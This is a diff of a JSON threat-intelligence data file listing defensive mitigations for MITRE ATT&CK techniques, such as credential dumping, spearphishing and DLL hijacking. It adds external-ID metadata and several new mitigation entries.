"description": "Prevent adversaries from gaining access to credentials through Credential Access that can be used to log into remote desktop sessions on systems.\n\nIdentify unnecessary system utilities, third-party tools, or potentially malicious software that may be used to log into remote interactive sessions, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) and Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
"value": "Graphical User Interface Mitigation - T1061",
- "uuid": "aaa92b37-f96c-4a0a-859c-b1cb6faeb13d"
+ "uuid": "aaa92b37-f96c-4a0a-859c-b1cb6faeb13d",
+ "meta": {
+ "external_id": "T1061"
+ }
},
{
- "description": "It may be difficult or inadvisable to block access to EA. Efforts should be focused on preventing potentially malicious software from running. Identify and block potentially malicious software that may contain functionality to hide information in EA by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
- "value": "NTFS Extended Attributes Mitigation - T1096",
- "uuid": "ac008435-af58-4f77-988a-c9b96c5920f5"
+ "description": "It may be difficult or inadvisable to block access to EA and ADSs. (Citation: Microsoft ADS Mar 2014) (Citation: Symantec ADS May 2009) Efforts should be focused on preventing potentially malicious software from running. Identify and block potentially malicious software that may contain functionality to hide information in EA and ADSs by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)\n\nConsider adjusting read and write permissions for NTFS EA, though this should be tested to ensure routine OS operations are not impeded. (Citation: InsiderThreat NTFS EA Oct 2017)",
+ "value": "NTFS File Attributes Mitigation - T1096",
+ "uuid": "ac008435-af58-4f77-988a-c9b96c5920f5",
+ "meta": {
+ "external_id": "T1096"
+ }
},
{
"description": "Mitigation is difficult in instances like this because the adversary may have access to the system through another channel and can learn what techniques or tools are blocked by resident defenses. Exercising best practices with configuration and security as well as ensuring that proper process is followed during investigation of potential compromise is essential to detecting a larger intrusion through discrete alerts.\n\nIdentify and block potentially malicious software that may be used by an adversary by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
"value": "Indicator Removal from Tools Mitigation - T1066",
- "uuid": "4b998a71-7b8f-4dcc-8f3f-277f2e740271"
+ "uuid": "4b998a71-7b8f-4dcc-8f3f-277f2e740271",
+ "meta": {
+ "external_id": "T1066"
+ }
},
{
"description": "Holding the Shift key while logging in prevents apps from opening automatically (Citation: Re-Open windows on Mac). This feature can be disabled entirely with the following terminal command: defaults write -g ApplePersistence -bool no.",
"value": "Re-opened Applications Mitigation - T1164",
- "uuid": "61d02387-351a-453e-a575-160a9abc3e04"
+ "uuid": "61d02387-351a-453e-a575-160a9abc3e04",
+ "meta": {
+ "external_id": "T1164"
+ }
},
{
"description": "Restrict user's abilities to create Launch Agents with group policy.",
"value": "Launch Agent Mitigation - T1159",
- "uuid": "121b2863-5b97-4538-acb3-f8aae070ec13"
+ "uuid": "121b2863-5b97-4538-acb3-f8aae070ec13",
+ "meta": {
+ "external_id": "T1159"
+ }
},
{
"description": "Other tools should be used to supplement Gatekeeper's functionality. Additionally, system settings can prevent applications from running that haven't been downloaded through the Apple Store which can help mitigate some of these issues.",
"value": "Gatekeeper Bypass Mitigation - T1144",
- "uuid": "1a7f5bd3-f6ee-4bd7-b949-2f3632ad6158"
+ "uuid": "1a7f5bd3-f6ee-4bd7-b949-2f3632ad6158",
+ "meta": {
+ "external_id": "T1144"
+ }
+ },
+ {
+ "description": "Ensure proper permissions are set for Registry hives to prevent users from modifying keys related to SIP and trust provider components. Also ensure that these values contain their full path to prevent DLL Search Order Hijacking. (Citation: SpectorOps Subverting Trust Sept 2017)\n\nConsider removing unnecessary and/or stale SIPs. (Citation: SpectorOps Subverting Trust Sept 2017)\n\nRestrict storage and execution of SIP DLLs to protected directories, such as C:\\Windows, rather than user directories.\n\nEnable whitelisting solutions such as AppLocker and/or Device Guard to block the loading of malicious SIP DLLs. Components may still be able to be hijacked to suitable functions already present on disk if malicious modifications to Registry keys are not prevented.",
+ "value": "SIP and Trust Provider Hijacking Mitigation - T1198",
+ "uuid": "ef273807-c465-4728-9cee-5823422f42ee",
+ "meta": {
+ "external_id": "T1198"
+ }
},
{
"description": "Instead of blocking software based on clipboard capture behavior, identify potentially malicious software that may contain this functionality, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
"value": "Clipboard Data Mitigation - T1115",
- "uuid": "19edfa02-1a5f-47e4-ad82-3288f57f64cf"
+ "uuid": "19edfa02-1a5f-47e4-ad82-3288f57f64cf",
+ "meta": {
+ "external_id": "T1115"
+ }
+ },
+ {
+ "description": "Ensure logging and detection mechanisms analyze commands after being processed/interpreted, rather than the raw input. Consider utilizing the Antimalware Scan Interface (AMSI) on Windows 10 for this functionality. (Citation: Microsoft AMSI June 2015)\n\nMitigation of compressed and encrypted files sent over the network and through email may not be advised since it may impact normal operations.",
+ "value": "Obfuscated Files or Information Mitigation - T1027",
+ "uuid": "a09375e5-63d2-4b65-8b0d-1cfe3e6304ca",
+ "meta": {
+ "external_id": "T1027"
+ }
},
{
"description": "Use and enforce multifactor authentication. Follow guidelines to prevent or limit adversary access to Valid Accounts that may be used to create privileged accounts within an environment.\n\nAdversaries that create local accounts on systems may have limited access within a network if access levels are properly locked down. These accounts may only be needed for persistence on individual systems and their usefulness depends on the utility of the system they reside on.\n\nProtect domain controllers by ensuring proper security configuration for critical servers. Configure access controls and firewalls to limit access to these systems. Do not allow domain administrator accounts to be used for day-to-day operations that may expose them to potential adversaries on unprivileged systems.",
"value": "Create Account Mitigation - T1136",
- "uuid": "9a5b7194-88e0-4579-b82f-e3c27b8cca80"
+ "uuid": "9a5b7194-88e0-4579-b82f-e3c27b8cca80",
+ "meta": {
+ "external_id": "T1136"
+ }
+ },
+ {
+ "description": "Because this technique involves user interaction on the endpoint, it's difficult to fully mitigate. However, there are potential mitigations. Users can be trained to identify social engineering techniques and spearphishing emails with malicious links. Other mitigations can take place as User Execution occurs.",
+ "value": "Spearphishing Link Mitigation - T1192",
+ "uuid": "ad7f983d-d5a8-4fce-a38c-b68eda61bf4e",
+ "meta": {
+ "external_id": "T1192"
+ }
+ },
+ {
+ "description": "Determine if certain social media sites, personal webmail services, or other service that can be used for spearphishing is necessary for business operations and consider blocking access if activity cannot be monitored well or if it poses a significant risk.\n\nBecause this technique involves use of legitimate services and user interaction on the endpoint, it's difficult to fully mitigate. However, there are potential mitigations. Users can be trained to identify social engineering techniques and spearphishing emails with malicious links. To prevent the downloads from executing, application whitelisting can be used. Anti-virus can also automatically quarantine suspicious files.",
+ "value": "Spearphishing via Service Mitigation - T1194",
+ "uuid": "c861bcb1-946f-450d-ab75-d4e3c1103a56",
+ "meta": {
+ "external_id": "T1194"
+ }
},
{
"description": "Identify and block potentially malicious software that may be executed through run key or startup folder persistence using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
"value": "Registry Run Keys / Start Folder Mitigation - T1060",
- "uuid": "8b36d944-f274-4d46-9acd-dbba6927ce7a"
+ "uuid": "8b36d944-f274-4d46-9acd-dbba6927ce7a",
+ "meta": {
+ "external_id": "T1060"
+ }
},
{
"description": "Command and control infrastructure used in a multi-stage channel may be blocked if known ahead of time. If unique signatures are present in the C2 traffic, they could also be used as the basis of identifying and blocking the channel. (Citation: University of Birmingham C2)",
"value": "Multi-Stage Channels Mitigation - T1104",
- "uuid": "514e7371-a344-4de7-8ec3-3aa42b801d52"
+ "uuid": "514e7371-a344-4de7-8ec3-3aa42b801d52",
+ "meta": {
+ "external_id": "T1104"
+ }
},
{
"description": "Identify unnecessary system utilities or potentially malicious software that may be used to collect data from removable media, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
"value": "Data Staged Mitigation - T1074",
- "uuid": "4320b080-9ae9-4541-9b8b-bcd0961dbbbd"
+ "uuid": "4320b080-9ae9-4541-9b8b-bcd0961dbbbd",
+ "meta": {
+ "external_id": "T1074"
+ }
},
{
"description": "Limit privileges of user accounts and remediate Privilege Escalation vectors so only authorized administrators can create new Launch Daemons.",
"value": "Launch Daemon Mitigation - T1160",
- "uuid": "402e92cd-5608-4f4b-9a34-a2c962e4bcd7"
+ "uuid": "402e92cd-5608-4f4b-9a34-a2c962e4bcd7",
+ "meta": {
+ "external_id": "T1160"
+ }
},
{
"description": "Identify unnecessary system utilities or potentially malicious software that may be used to collect data from removable media, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
"value": "Data from Removable Media Mitigation - T1025",
- "uuid": "39706d54-0d06-4a25-816a-78cc43455100"
+ "uuid": "39706d54-0d06-4a25-816a-78cc43455100",
+ "meta": {
+ "external_id": "T1025"
+ }
},
{
"description": "If the computer is domain joined, then group policy can help restrict the ability to create or hide users. Similarly, preventing the modification of the /Library/Preferences/com.apple.loginwindow Hide500Users value will force all users to be visible.",
"value": "Hidden Users Mitigation - T1147",
- "uuid": "12cba7de-0a22-4a56-b51e-c514c67c3b43"
+ "uuid": "12cba7de-0a22-4a56-b51e-c514c67c3b43",
+ "meta": {
+ "external_id": "T1147"
+ }
+ },
+ {
+ "description": "Certain signed scripts that can be used to execute other programs may not be necessary within a given environment. Use application whitelisting configured to block execution of these scripts if they are not required for a given system or network to prevent potential misuse by adversaries.",
+ "value": "Signed Script Proxy Execution Mitigation - T1216",
+ "uuid": "51048ba0-a5aa-41e7-bf5d-993cd217dfb2",
+ "meta": {
+ "external_id": "T1216"
+ }
},
{
"description": "Identify unnecessary system utilities or potentially malicious software that may be used to collect data from a network share, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
"value": "Data from Network Shared Drive Mitigation - T1039",
- "uuid": "d9727aee-48b8-4fdb-89e2-4c49746ba4dd"
+ "uuid": "d9727aee-48b8-4fdb-89e2-4c49746ba4dd",
+ "meta": {
+ "external_id": "T1039"
+ }
},
{
"description": "Prevent users from being able to write files to the search paths for applications, both in the folders where applications are run from and the standard dylib folders. If users can't write to these directories, then they can't intercept the search path.",
"value": "Dylib Hijacking Mitigation - T1157",
- "uuid": "dc43c2fe-355e-4a79-9570-3267b0992784"
+ "uuid": "dc43c2fe-355e-4a79-9570-3267b0992784",
+ "meta": {
+ "external_id": "T1157"
+ }
},
{
"description": "Use multifactor authentication. Follow guidelines to prevent or limit adversary access to Valid Accounts.\n\nProtect domain controllers by ensuring proper security configuration for critical servers. Configure access controls and firewalls to limit access to these systems. Do not allow domain administrator accounts to be used for day-to-day operations that may expose them to potential adversaries on unprivileged systems.",
"value": "Account Manipulation Mitigation - T1098",
- "uuid": "fdb1ae84-7b00-4d3d-b7dc-c774beef6425"
+ "uuid": "fdb1ae84-7b00-4d3d-b7dc-c774beef6425",
+ "meta": {
+ "external_id": "T1098"
+ }
},
{
"description": "It may be possible to remove PowerShell from systems when not needed, but a review should be performed to assess the impact to an environment, since it could be in use for many legitimate purposes and administrative functions. When PowerShell is necessary, restrict PowerShell execution policy to administrators and to only execute signed scripts. Be aware that there are methods of bypassing the PowerShell execution policy, depending on environment configuration. (Citation: Netspi PowerShell Execution Policy Bypass) Disable/restrict the WinRM Service to help prevent uses of PowerShell for remote execution.",
"value": "PowerShell Mitigation - T1086",
- "uuid": "d0415180-51e9-40ce-b57c-c332b0b441f2"
+ "uuid": "d0415180-51e9-40ce-b57c-c332b0b441f2",
+ "meta": {
+ "external_id": "T1086"
+ }
},
{
"description": "Block SMB traffic from exiting an enterprise network with egress filtering or by blocking TCP ports 139, 445 and UDP port 137. Filter or block WebDAV protocol traffic from exiting the network. If access to external resources over SMB and WebDAV is necessary, then traffic should be tightly limited with whitelisting. (Citation: US-CERT SMB Security) (Citation: US-CERT APT Energy Oct 2017)\n\nFor internal traffic, monitor the workstation-to-workstation unusual (vs. baseline) SMB traffic. For many networks there should not be any, but it depends on how systems on the network are configured and where resources are located.\n\nUse strong passwords to increase the difficulty of credential hashes from being cracked if they are obtained.",
"value": "Forced Authentication Mitigation - T1187",
- "uuid": "7009ba4d-83d4-4851-9fbb-e09e28497765"
+ "uuid": "7009ba4d-83d4-4851-9fbb-e09e28497765",
+ "meta": {
+ "external_id": "T1187"
+ }
},
{
"description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about the operating system and underlying hardware, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
"value": "System Information Discovery Mitigation - T1082",
- "uuid": "c620e3a1-fff5-424f-abea-d2b0f3616f67"
+ "uuid": "c620e3a1-fff5-424f-abea-d2b0f3616f67",
+ "meta": {
+ "external_id": "T1082"
+ }
},
{
- "description": "Upgrade the operating system to a newer version of Windows if using a version prior to Vista. \n\nLimit the privileges of user accounts so that only authorized administrators can perform Winlogon helper changes.\n\nIdentify and block potentially malicious software that may be executed through the Winlogon helper process by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown DLLs.",
+ "description": "Update software regularly by employing patch management for internal enterprise endpoints and servers. Develop a robust cyber threat intelligence capability to determine what types and levels of threat may use software exploits and 0-days against a particular organization. Make it difficult for adversaries to advance their operation through exploitation of undiscovered or unpatched vulnerabilities by using sandboxing, if available. Other types of virtualization and application microsegmentation may also mitigate the impact of some types of exploitation. The risks of additional exploits and weaknesses in implementation may still exist. (Citation: Ars Technica Pwn2Own 2017 VM Escape)\n\nSecurity applications that look for behavior used during exploitation such as Windows Defender Exploit Guard (WDEG) and the Enhanced Mitigation Experience Toolkit (EMET) can be used to mitigate some exploitation behavior. (Citation: TechNet Moving Beyond EMET) Control flow integrity checking is another way to potentially identify and stop a software exploit from occurring. (Citation: Wikipedia Control Flow Integrity) Many of these protections depend on the architecture and target application binary for compatibility and may not work for software targeted for defense evasion.",
+ "value": "Exploitation for Defense Evasion Mitigation - T1211",
+ "uuid": "37a3f3f5-76e6-43fe-b935-f1f494c95725",
+ "meta": {
+ "external_id": "T1211"
+ }
+ },
+ {
+ "description": "Limit the privileges of user accounts so that only authorized administrators can perform Winlogon helper changes.\n\nIdentify and block potentially malicious software that may be executed through the Winlogon helper process by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown DLLs.",
"value": "Winlogon Helper DLL Mitigation - T1004",
- "uuid": "313c8b20-4d49-40c1-9ac0-4c573aca28f3"
+ "uuid": "313c8b20-4d49-40c1-9ac0-4c573aca28f3",
+ "meta": {
+ "external_id": "T1004"
+ }
},
{
"description": "Ensure only valid password filters are registered. Filter DLLs must be present in Windows installation directory (C:\\Windows\\System32\\ by default) of a domain controller and/or local computer with a corresponding entry in HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Notification Packages. (Citation: Microsoft Install Password Filter n.d)",
"value": "Password Filter DLL Mitigation - T1174",
- "uuid": "00d7d21b-69d6-4797-88a2-c86f3fc97651"
+ "uuid": "00d7d21b-69d6-4797-88a2-c86f3fc97651",
+ "meta": {
+ "external_id": "T1174"
+ }
},
{
"description": "Identify and block potentially malicious software that may persist in this manner by using whitelisting (Citation: Beechey 2010) tools capable of monitoring DLL loads by Windows utilities like AppLocker. (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker)",
"value": "Netsh Helper DLL Mitigation - T1128",
- "uuid": "624d063d-cda8-4616-b4e4-54c04e427aec"
+ "uuid": "624d063d-cda8-4616-b4e4-54c04e427aec",
+ "meta": {
+ "external_id": "T1128"
+ }
},
{
"description": "Follow best practices for mitigation of activity related to establishing Windows Admin Shares. \n\nIdentify unnecessary system utilities or potentially malicious software that may be used to leverage network shares, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
"value": "Network Share Connection Removal Mitigation - T1126",
- "uuid": "94e95eeb-7cdb-4bd7-afba-f32fda303dbb"
+ "uuid": "94e95eeb-7cdb-4bd7-afba-f32fda303dbb",
+ "meta": {
+ "external_id": "T1126"
+ }
},
{
"description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific C2 protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)",
"value": "Connection Proxy Mitigation - T1090",
- "uuid": "d75a3d1b-b536-4f15-a23c-f4bcc17837b8"
+ "uuid": "d75a3d1b-b536-4f15-a23c-f4bcc17837b8",
+ "meta": {
+ "external_id": "T1090"
+ }
+ },
+ {
+ "description": "Mitigating discovery of password policies is not advised since the information is required to be known by systems and users of a network. Ensure password policies are such that they mitigate brute force attacks yet will not give an adversary an information advantage because the policies are too light. Active Directory is a common way to set and enforce password policies throughout an enterprise network. (Citation: Microsoft Password Complexity)",
+ "value": "Password Policy Discovery Mitigation - T1201",
+ "uuid": "49961e75-b493-423a-9ec7-ac2d6f55384a",
+ "meta": {
+ "external_id": "T1201"
+ }
+ },
+ {
+ "description": "File system activity is a common part of an operating system, so it is unlikely that mitigation would be appropriate for this technique. For example, mitigating accesses to browser bookmark files will likely have unintended side effects such as preventing legitimate software from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identification of subsequent malicious behavior. It may still be beneficial to identify and block unnecessary system utilities or potentially malicious software by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
+ "value": "Browser Bookmark Discovery Mitigation - T1217",
+ "uuid": "1c0b39f9-a0c5-42b2-abd8-dc8f1eb74e67",
+ "meta": {
+ "external_id": "T1217"
+ }
+ },
+ {
+ "description": "Identify and block potentially malicious software that may be executed as a time provider by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown DLLs.\n\nConsider using Group Policy to configure and block subsequent modifications to W32Time parameters. (Citation: Microsoft W32Time May 2017)",
+ "value": "Time Providers Mitigation - T1209",
+ "uuid": "a1482e43-f3ff-4fbd-94de-ad1244738166",
+ "meta": {
+ "external_id": "T1209"
+ }
},
{
"description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
"value": "Application Window Discovery Mitigation - T1010",
- "uuid": "25d5e1d8-c6fb-4735-bc57-115a21222f4b"
+ "uuid": "25d5e1d8-c6fb-4735-bc57-115a21222f4b",
+ "meta": {
+ "external_id": "T1010"
+ }
},
{
"description": "Limit access to remote services through centrally managed concentrators such as VPNs and other managed remote access systems. Deny direct remote access to internal systems through uses of network proxies, gateways, and firewalls as appropriate. Disable or block services such as Windows Remote Management can be used externally. Use strong two-factor or multi-factor authentication for remote service accounts to mitigate an adversary's ability to leverage stolen credentials, but be aware of Two-Factor Authentication Interception techniques for some two-factor authentication implementations.",
"value": "External Remote Services Mitigation - T1133",
- "uuid": "d4fd04e0-d1a4-4b5a-a5bb-16683cdbcce2"
+ "uuid": "d4fd04e0-d1a4-4b5a-a5bb-16683cdbcce2",
+ "meta": {
+ "external_id": "T1133"
+ }
},
{
"description": "Monitor systems and domain logs for unusual credential logon activity. Prevent access to Valid Accounts. Apply patch KB2871997 to Windows 7 and higher systems to limit the default access of accounts in the local administrator group. \n\nEnable pass the hash mitigations to apply UAC restrictions to local accounts on network logon. The associated Registry key is located HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\LocalAccountTokenFilterPolicy Through GPO: Computer Configuration > [Policies] > Administrative Templates > SCM: Pass the Hash Mitigations: Apply UAC restrictions to local accounts on network logons. (Citation: GitHub IAD Secure Host Baseline UAC Filtering)\n\nLimit credential overlap across systems to prevent the damage of credential compromise and reduce the adversary's ability to perform Lateral Movement between systems. Ensure that built-in and created local administrator accounts have complex, unique passwords. Do not allow a domain user to be in the local administrator group on multiple systems.",
"value": "Pass the Hash Mitigation - T1075",
- "uuid": "bcee7b05-89a6-41a5-b7aa-fce4da7ede9e"
+ "uuid": "bcee7b05-89a6-41a5-b7aa-fce4da7ede9e",
+ "meta": {
+ "external_id": "T1075"
+ }
},
{
"description": "Prevent administrator accounts from being enumerated when an application is elevating through UAC since it can lead to the disclosure of account names. The Registry key is located HKLM\\ SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\CredUI\\EnumerateAdministrators. It can be disabled through GPO: Computer Configuration > [Policies] > Administrative Templates > Windows Components > Credential User Interface: E numerate administrator accounts on elevation. (Citation: UCF STIG Elevation Account Enumeration)\n\nIdentify unnecessary system utilities or potentially malicious software that may be used to acquire information about system and domain accounts, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
"value": "Account Discovery Mitigation - T1087",
- "uuid": "5c49bc54-9929-48ca-b581-7018219b5a97"
+ "uuid": "5c49bc54-9929-48ca-b581-7018219b5a97",
+ "meta": {
+ "external_id": "T1087"
+ }
},
{
"description": "MSBuild.exe, dnx.exe, rcsi.exe, WinDbg.exe, cdb.exe, and tracker.exe may not be necessary within a given environment and should be removed if not used.\n\nUse application whitelisting configured to block execution of MSBuild.exe, dnx.exe, rcsi.exe, WinDbg.exe, and cdb.exe if they are not required for a given system or network to prevent potential misuse by adversaries. (Citation: Microsoft GitHub Device Guard CI Policies) (Citation: Exploit Monday Mitigate Device Guard Bypases) (Citation: GitHub mattifestation DeviceGuardBypass) (Citation: SubTee MSBuild)",
"value": "Trusted Developer Utilities Mitigation - T1127",
- "uuid": "823fbfe9-b015-4bf3-9e67-d340c7373ca0"
+ "uuid": "823fbfe9-b015-4bf3-9e67-d340c7373ca0",
+ "meta": {
+ "external_id": "T1127"
+ }
},
{
"description": "Monitor domains for unusual credential logons. Limit credential overlap across systems to prevent the damage of credential compromise. Ensure that local administrator accounts have complex, unique passwords. Do not allow a user to be a local administrator for multiple systems. Limit domain admin account permissions to domain controllers and limited servers. Delegate other admin functions to separate accounts. (Citation: ADSecurity AD Kerberos Attacks)\n\nFor containing the impact of a previously generated golden ticket, reset the built-in KRBTGT account password twice, which will invalidate any existing golden tickets that have been created with the KRBTGT hash and other Kerberos tickets derived from it. (Citation: CERT-EU Golden Ticket Protection)\n\nAttempt to identify and block unknown or malicious software that could be used to obtain Kerberos tickets and use them to authenticate by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
"value": "Pass the Ticket Mitigation - T1097",
- "uuid": "3a476d83-43eb-4fad-9b75-b1febd834e3d"
+ "uuid": "3a476d83-43eb-4fad-9b75-b1febd834e3d",
+ "meta": {
+ "external_id": "T1097"
+ }
},
{
"description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about system users, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
"value": "System Owner/User Discovery Mitigation - T1033",
- "uuid": "16f144e4-c780-4ed2-98b4-55d14e2dfa44"
+ "uuid": "16f144e4-c780-4ed2-98b4-55d14e2dfa44",
+ "meta": {
+ "external_id": "T1033"
+ }
},
{
- "description": "Monitor/harden access to LSASS and SAM table with tools that allow process whitelisting. Limit credential overlap across systems to prevent lateral movement opportunities using Valid Accounts if passwords and hashes are obtained. Ensure that local administrator accounts have complex, unique passwords across all systems on the network. Do not put user or admin domain accounts in the local administrator groups across systems unless they are tightly controlled, as this is often equivalent to having a local administrator account with the same password on all systems. On Windows 8.1 and Windows Server 2012 R2, enable Protected Process Light for LSA. (Citation: Microsoft LSA)\n\nIdentify and block potentially malicious software that may be used to dump credentials by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)\n\nWith Windows 10, Microsoft implemented new protections called Credential Guard to protect the LSA secrets that can be used to obtain credentials through forms of credential dumping. It is not configured by default and has hardware and firmware system requirements. (Citation: TechNet Credential Guard) It also does not protect against all forms of credential dumping. (Citation: GitHub SHB Credential Guard)\n\nManage the access control list for “Replicating Directory Changes” and other permissions associated with domain controller replication. (Citation: AdSecurity DCSync Sept 2015) (Citation: Microsoft Replication ACL)\n\nConsider disabling or restricting NTLM traffic. (Citation: Microsoft Disable NTLM Nov 2012)",
+ "description": "Monitor/harden access to LSASS and SAM table with tools that allow process whitelisting. Limit credential overlap across systems to prevent lateral movement opportunities using Valid Accounts if passwords and hashes are obtained. Ensure that local administrator accounts have complex, unique passwords across all systems on the network. Do not put user or admin domain accounts in the local administrator groups across systems unless they are tightly controlled, as this is often equivalent to having a local administrator account with the same password on all systems. Follow best practices for design and administration of an enterprise network to limit privileged account use across administrative tiers. (Citation: Microsoft Securing Privileged Access)\n\nOn Windows 8.1 and Windows Server 2012 R2, enable Protected Process Light for LSA. (Citation: Microsoft LSA)\n\nIdentify and block potentially malicious software that may be used to dump credentials by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)\n\nWith Windows 10, Microsoft implemented new protections called Credential Guard to protect the LSA secrets that can be used to obtain credentials through forms of credential dumping. It is not configured by default and has hardware and firmware system requirements. (Citation: TechNet Credential Guard) It also does not protect against all forms of credential dumping. (Citation: GitHub SHB Credential Guard)\n\nManage the access control list for “Replicating Directory Changes” and other permissions associated with domain controller replication. (Citation: AdSecurity DCSync Sept 2015) (Citation: Microsoft Replication ACL)\n\nConsider disabling or restricting NTLM traffic. (Citation: Microsoft Disable NTLM Nov 2012)",
"value": "Credential Dumping Mitigation - T1003",
- "uuid": "aeff5887-8f9e-48d5-a523-9b395e2ce80a"
+ "uuid": "aeff5887-8f9e-48d5-a523-9b395e2ce80a",
+ "meta": {
+ "external_id": "T1003"
+ }
},
{
"description": "Microsoft's Enhanced Mitigation Experience Toolkit (EMET) Attack Surface Reduction (ASR) feature can be used to block regsvr32.exe from being used to bypass whitelisting. (Citation: Secure Host Baseline EMET)",
"value": "Regsvr32 Mitigation - T1117",
- "uuid": "12c13879-b7bd-4bc5-8def-aacec386d432"
+ "uuid": "12c13879-b7bd-4bc5-8def-aacec386d432",
+ "meta": {
+ "external_id": "T1117"
+ }
},
{
"description": "This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating specific API calls will likely have unintended side effects, such as preventing legitimate software (i.e., security products) from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior. \n\nAlthough process hollowing may be used to evade certain types of defenses, it is still good practice to identify potentially malicious software that may be used to perform adversarial actions and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
"value": "Process Hollowing Mitigation - T1093",
- "uuid": "7c39ebbf-244e-4d1c-b0ac-b282453ece43"
+ "uuid": "7c39ebbf-244e-4d1c-b0ac-b282453ece43",
+ "meta": {
+ "external_id": "T1093"
+ }
},
{
"description": "Enforce valid digital signatures for signed code on all applications and only trust applications with signatures from trusted parties.",
"value": "LC_MAIN Hijacking Mitigation - T1149",
- "uuid": "6e7db820-9735-4545-bc64-039bc4ce354b"
+ "uuid": "6e7db820-9735-4545-bc64-039bc4ce354b",
+ "meta": {
+ "external_id": "T1149"
+ }
},
{
